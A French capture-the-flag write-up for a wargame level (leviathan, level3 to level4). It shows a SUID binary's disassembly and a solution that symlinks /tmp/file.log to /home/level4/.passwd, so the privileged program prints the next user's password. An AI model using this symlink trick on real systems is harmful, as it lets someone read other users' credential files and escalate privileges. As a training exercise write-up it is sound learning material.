Hop, dès qu’on est connecté level3 on file dans le répertoire /wargame, vu qu’il n’y a rien dans le dossier home.
Une fois dans ce répertoire, et après l’avoir listé, on voit que le binaire prog est SUID level3 et level4, c’est donc notre cible.
1 2 | level3@leviathan:/wargame$ ./prog Cannot find /tmp/file.log |
Apparament le binaire essaie d’ouvrir le fichier file.log dans le répertoire /tmp.
Pour confirmer on peut désassember le binaire, mais ce n’est vraiment pas nécessaire.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | 8048564: e8 07 ff ff ff call 8048470 <fopen@plt> 8048569: 89 45 f4 mov %eax,0xfffffff4(%ebp) 804856c: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp) 8048570: 75 18 jne 804858a <main+0x46> 8048572: c7 04 24 08 87 04 08 movl $0x8048708,(%esp) 8048579: e8 a2 fe ff ff call 8048420 <puts@plt> 804857e: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) 8048585: e8 d6 fe ff ff call 8048460 <exit@plt> 804858a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 804858d: 89 04 24 mov %eax,(%esp) 8048590: e8 4b fe ff ff call 80483e0 <fgetc@plt> 8048595: 88 45 fb mov %al,0xfffffffb(%ebp) 8048598: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 804859b: 89 04 24 mov %eax,(%esp) 804859e: e8 4d fe ff ff call 80483f0 <feof@plt> 80485a3: 85 c0 test %eax,%eax 80485a5: 75 0e jne 80485b5 <main+0x71> 80485a7: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax 80485ab: 89 04 24 mov %eax,(%esp) 80485ae: e8 5d fe ff ff call 8048410 <putchar@plt> 80485b3: eb d5 jmp 804858a <main+0x46> 80485b5: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 80485b8: 89 04 24 mov %eax,(%esp) 80485bb: e8 90 fe ff ff call 8048450 <fclose@plt> 80485c0: e8 7b fe ff ff call 8048440 <getuid@plt> 80485c5: 89 04 24 mov %eax,(%esp) 80485c8: e8 b3 fe ff ff call 8048480 <setuid@plt> 80485cd: c7 04 24 fa 86 04 08 movl $0x80486fa,(%esp) 80485d4: e8 27 fe ff ff call 8048400 <unlink@plt> |
Pour résumer, on lit un caractère (fgetc()) et on l’affiche (putchar()) tant qu’on est pas à la fin du fichier.
étant donné que le binaire est SUID level4 il nous permet de lire des fichiers SUID level4, et comme le fichier /home/level4/.passwd appartient à level4, il nous reste qu’à faire un lien dessus et le tour est joué
1 | ln -s /home/level4/.passwd /tmp/file.log |
Voilà, on ré-execute le binaire et on a le password
next?lol
